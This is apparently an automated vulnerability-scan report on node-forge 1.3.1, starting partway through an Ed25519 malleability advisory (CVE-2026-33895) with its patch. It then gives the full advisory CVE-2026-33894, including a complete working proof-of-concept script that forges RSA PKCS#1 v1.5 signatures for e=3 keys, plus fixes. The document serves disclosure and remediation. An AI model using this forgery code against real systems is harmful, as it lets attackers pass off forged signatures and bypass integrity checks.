+ if(!_isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) { return mlen; } +function _isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) { Resources - RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - «Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l» Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Publish Date: 2026-03-26

URL: CVE-2026-33895

CVSS 3 Score Details (7.5)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
• Impact Metrics:
  • Confidentiality Impact: None
  • Integrity Impact: High
  • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-q67f-28xg-22rw

Release Date: 2026-03-26

Fix Resolution: node-forge - 1.4.0

Step up your Open Source Security Game with Mend here

CVE-2026-33894

Vulnerable Library - node-forge-1.3.1.tgz

JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Library home page: https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • cli-1.5.8.tgz
    • dev-server-1.1.4.tgz
      • webpack-dev-server-5.2.2.tgz
        • selfsigned-2.4.1.tgz
          • ❌ node-forge-1.3.1.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling "Bleichenbacher style forgery" (https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to "CVE-2022-24771" (GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as "defined by the specification" (https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. Impacted Deployments Tested commit: "8e1d527fe8ec2670499068db783172d4fb9012e5" Affected versions: tested on v1.3.3 (latest release) and recent prior versions. Configuration assumptions: - Invoke key.verify with defaults (default "scheme" uses RSASSA-PKCS1-v1_5). - "_parseAllDigestBytes: true" (default setting). Root Cause In "lib/rsa.js", "key.verify(...)", forge decrypts the signature block, decodes PKCS#1 v1.5 padding ("_decodePkcs1_v1_5"), parses ASN.1, and compares "capture.digest" to the provided digest. Two issues are present with this logic: 1. Strict DER byte-consumption ("_parseAllDigestBytes") only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. "_decodePkcs1_v1_5" comments mention that PS < 8 bytes should be rejected, but does not implement this logic. Reproduction Steps 3. Use Node.js (tested with "v24.9.0") and clone "digitalbazaar/forge" at commit "8e1d527fe8ec2670499068db783172d4fb9012e5". 4. Place and run the PoC script ("repro_min.js") with "node repro_min.js" in the same level as the "forge" folder. 5. The script generates a fresh RSA keypair ("4096" bits, "e=3"), creates a normal control signature, then computes a forged candidate using cube-root interval construction. 6. The script verifies both signatures with: - forge verify ("_parseAllDigestBytes: true"), and - Node/OpenSSL verify ("crypto.verify" with "RSA_PKCS1_PADDING"). 7. Confirm output includes: - "control-forge-strict: true" - "control-node: true" - "forgery (forge library, strict): true" - "forgery (node/OpenSSL): false" Proof of Concept Overview: - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly ("_parseAllDigestBytes: true", also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit: control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false

repro_min.js#!/usr/bin/env node 'use strict'; const crypto = require('crypto'); const forge = require('./forge/lib/index'); // DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFO_SHA256_PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' ); const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi * hi * hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid * mid * mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f * f * f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); } function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for msg // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v1_5 // - options._parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } } function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } }); const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3'); const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]); // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // garbageLen affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly k. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]); // Build the numeric interval of all EM values that start with prefix: // - low = prefix || 00..00 // - high = one past (prefix || ff..ff) // Then find s such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 * suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval'); const sig = toBuf(s, k); const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: crypto.constants.RSA_PKCS1_PADDING }); // forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig); // Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, sig); console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); } main(); Suggested Patch - Enforce PKCS#1 v1.5 BT=0x01 minimum padding length ("PS >= 8") in "_decodePkcs1_v1_5" before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields). Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects: index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v1_5 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; Resources - RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 - «This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.» - RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html - "lib/rsa.js" "key.verify(...)" at lines ~1139-1223. - "lib/rsa.js" "_decodePkcs1_v1_5(...)" at lines ~1632-1695. Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Publish Date: 2026-03-26

URL: CVE-2026-33894

CVSS 3 Score Details (7.5)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
• Impact Metrics:
  • Confidentiality Impact: None
  • Integrity Impact: High
  • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-ppp5-5v6c-4jwp

Release Date: 2026-03-26

Fix Resolution: node-forge - 1.4.0

Step up your Open Source Security Game with Mend here